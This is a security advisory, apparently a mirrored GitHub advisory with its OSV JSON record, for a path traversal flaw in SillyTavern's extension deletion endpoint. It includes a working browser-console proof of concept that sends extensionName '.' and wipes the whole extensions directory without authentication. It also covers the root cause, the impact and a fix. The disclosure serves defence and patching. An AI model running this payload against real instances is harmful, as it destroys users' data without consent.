GHSA-886Q-F44J-H6WH
Vulnerability from github – Published: 2026-05-12 22:23 – Updated: 2026-05-12 22:23Summary
POST /api/extensions/delete endpoint accepts extensionName: "." which bypasses
sanitize-filename validation, causing the entire user extensions directory to be
recursively deleted. No authentication is required in the default configuration.
Affected File
src/endpoints/extensions.js (last modified: commit 3ad9b05e2)
Root Cause
The validation check occurs before sanitization:
// [1] "." is truthy — passes the check
if (!request.body.extensionName) {
return response.status(400).send('Bad Request');
}
// [2] sanitize(".") → ""
const extensionPath = path.join(basePath, sanitize(extensionName));
// path.join("data\\default-user\\extensions", "")
// = "data\\default-user\\extensions" ← basePath itself!
// [3] Deletes the entire extensions directory
await fs.promises.rm(extensionPath, { recursive: true });
sanitize-filename converts "." to "" (documented behavior).
path.join(basePath, "") returns basePath itself.
Result: the entire data\default-user\extensions\ directory is deleted.
Proof of Concept
Tested on: Windows 10, SillyTavern v1.17.0, commit 004f1336e
Authentication: none (basicAuthMode: false, default configuration)
Run in browser console (F12) while SillyTavern is open:
async function poc() {
const { token } = await (await fetch('/csrf-token')).json();
const headers = {
'Content-Type': 'application/json',
'X-CSRF-Token': token,
};
// Before: 1 extension installed
const before = await (await fetch('/api/extensions/discover', { headers })).json();
console.log('Before:', before.filter(e => e.type === 'local'));
// [{ type: 'local', name: 'third-party/Extension-Notebook' }]
// Attack
const res = await fetch('/api/extensions/delete', {
method: 'POST',
headers,
body: JSON.stringify({ extensionName: '.' }),
});
console.log('Status:', res.status); // 200
console.log('Body:', await res.text()); // "Extension has been deleted at data\default-user\extensions"
// After: empty
const after = await (await fetch('/api/extensions/discover', { headers })).json();
console.log('After:', after.filter(e => e.type === 'local'));
// []
}
poc();
Result: Before: [{ type: 'local', name: 'third-party/Extension-Notebook' }] Status: 200 Body: Extension has been deleted at data\default-user\extensions After: []
Impact
- No authentication required (
basicAuthMode: falseby default).
Any user with network access to the SillyTavern instance can permanently delete the entire extensions directory with a single HTTP request. - All installed third-party extensions are unrecoverably lost.
- With
global: trueand admin privileges, the global extensions directory shared across all users can also be deleted. - This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to enable unauthenticated remote exploitation from a malicious website.
Same Pattern in Other Endpoints
The same vulnerability exists in:
- POST /api/extensions/update
- POST /api/extensions/version
- POST /api/extensions/branches
- POST /api/extensions/switch
Suggested Fix
const sanitized = sanitize(extensionName);
// Check AFTER sanitizing
if (!sanitized) {
return response.status(400).send('Bad Request: Invalid extension name.');
}
const extensionPath = path.join(basePath, sanitized);
// Additional path traversal guard
const resolvedPath = path.resolve(extensionPath);
const resolvedBase = path.resolve(basePath);
if (!resolvedPath.startsWith(resolvedBase + path.sep)) {
return response.status(400).send('Bad Request: Invalid extension path.');
}
Apply the same fix to /update, /version, /branches, and /switch endpoints.
References
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical)
- sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename
- Related CVE (same project): CVE-2025-59159
REPORTED BY
Jormungandr
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.17.0"
},
"package": {
"ecosystem": "npm",
"name": "sillytavern"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44650"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-12T22:23:45Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\n`POST /api/extensions/delete` endpoint accepts `extensionName: \".\"` which bypasses \n`sanitize-filename` validation, causing the entire user extensions directory to be \nrecursively deleted. No authentication is required in the default configuration.\n\n## Affected File\n\n`src/endpoints/extensions.js` (last modified: commit `3ad9b05e2`)\n\n## Root Cause\n\nThe validation check occurs **before** sanitization:\n\n```javascript\n// [1] \".\" is truthy \u2014 passes the check\nif (!request.body.extensionName) {\n return response.status(400).send(\u0027Bad Request\u0027);\n}\n\n// [2] sanitize(\".\") \u2192 \"\"\nconst extensionPath = path.join(basePath, sanitize(extensionName));\n// path.join(\"data\\\\default-user\\\\extensions\", \"\")\n// = \"data\\\\default-user\\\\extensions\" \u2190 basePath itself!\n\n// [3] Deletes the entire extensions directory\nawait fs.promises.rm(extensionPath, { recursive: true });\n```\n\n`sanitize-filename` converts `\".\"` to `\"\"` (documented behavior). \n`path.join(basePath, \"\")` returns `basePath` itself. \nResult: the entire `data\\default-user\\extensions\\` directory is deleted.\n\n## Proof of Concept\n\nTested on: Windows 10, SillyTavern v1.17.0, commit `004f1336e` \nAuthentication: none (basicAuthMode: false, default configuration)\n\nRun in browser console (F12) while SillyTavern is open:\n\n```javascript\nasync function poc() {\n const { token } = await (await fetch(\u0027/csrf-token\u0027)).json();\n const headers = {\n \u0027Content-Type\u0027: \u0027application/json\u0027,\n \u0027X-CSRF-Token\u0027: token,\n };\n\n // Before: 1 extension installed\n const before = await (await fetch(\u0027/api/extensions/discover\u0027, { headers })).json();\n console.log(\u0027Before:\u0027, before.filter(e =\u003e e.type === \u0027local\u0027));\n // [{ type: \u0027local\u0027, name: \u0027third-party/Extension-Notebook\u0027 }]\n\n // Attack\n const res = await fetch(\u0027/api/extensions/delete\u0027, {\n method: \u0027POST\u0027,\n headers,\n body: JSON.stringify({ extensionName: \u0027.\u0027 }),\n });\n console.log(\u0027Status:\u0027, res.status); // 200\n console.log(\u0027Body:\u0027, await res.text()); // \"Extension has been deleted at data\\default-user\\extensions\"\n\n // After: empty\n const after = await (await fetch(\u0027/api/extensions/discover\u0027, { headers })).json();\n console.log(\u0027After:\u0027, after.filter(e =\u003e e.type === \u0027local\u0027));\n // []\n}\npoc();\n```\n\n**Result:**\nBefore: [{ type: \u0027local\u0027, name: \u0027third-party/Extension-Notebook\u0027 }]\nStatus: 200\nBody: Extension has been deleted at data\\default-user\\extensions\nAfter: []\n\n## Impact\n\n- **No authentication required** (`basicAuthMode: false` by default). \n Any user with network access to the SillyTavern instance can permanently \n delete the entire extensions directory with a single HTTP request.\n- All installed third-party extensions are unrecoverably lost.\n- With `global: true` and admin privileges, the global extensions directory \n shared across all users can also be deleted.\n- This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to \n enable unauthenticated remote exploitation from a malicious website.\n\n## Same Pattern in Other Endpoints\n\nThe same vulnerability exists in:\n- `POST /api/extensions/update`\n- `POST /api/extensions/version`\n- `POST /api/extensions/branches`\n- `POST /api/extensions/switch`\n\n## Suggested Fix\n\n```javascript\nconst sanitized = sanitize(extensionName);\n\n// Check AFTER sanitizing\nif (!sanitized) {\n return response.status(400).send(\u0027Bad Request: Invalid extension name.\u0027);\n}\n\nconst extensionPath = path.join(basePath, sanitized);\n\n// Additional path traversal guard\nconst resolvedPath = path.resolve(extensionPath);\nconst resolvedBase = path.resolve(basePath);\nif (!resolvedPath.startsWith(resolvedBase + path.sep)) {\n return response.status(400).send(\u0027Bad Request: Invalid extension path.\u0027);\n}\n```\n\nApply the same fix to `/update`, `/version`, `/branches`, and `/switch` endpoints.\n\n## References\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical)\n- sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename\n- Related CVE (same project): CVE-2025-59159\n\n\n##REPORTED BY\nJormungandr",
"id": "GHSA-886q-f44j-h6wh",
"modified": "2026-05-12T22:23:45Z",
"published": "2026-05-12T22:23:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-886q-f44j-h6wh"
},
{
"type": "PACKAGE",
"url": "https://github.com/SillyTavern/SillyTavern"
},
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SillyTavern has a Path Traversal issue"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.